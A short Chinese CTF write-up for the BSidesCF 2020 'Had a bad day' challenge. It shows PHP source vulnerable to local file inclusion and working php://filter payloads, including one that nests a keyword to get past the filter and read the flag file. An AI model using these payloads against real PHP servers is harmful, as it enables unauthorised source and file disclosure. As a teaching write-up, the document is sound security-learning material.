[BSidesCF 2020]Had a bad day

首先利用PHP伪协议读取index.php源代码
payload如下:

php://filter/read=convert.base64-encode/resource=index

结果如图所示

源代码如下

<?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

利用include函数尝试包含flag

index.php?category=woofers/../flag

发现没有读出来任何东西,但是源码里有这样一个提示

新知识点!

php://filter伪协议可以套一层协议,就像:

php://filter/read=convert.base64-encode/woofers/resource=flag

这样提交的参数既有woofers又包含了flag
最后得到flag

原文地址:https://www.cnblogs.com/buchuo/p/13624032.html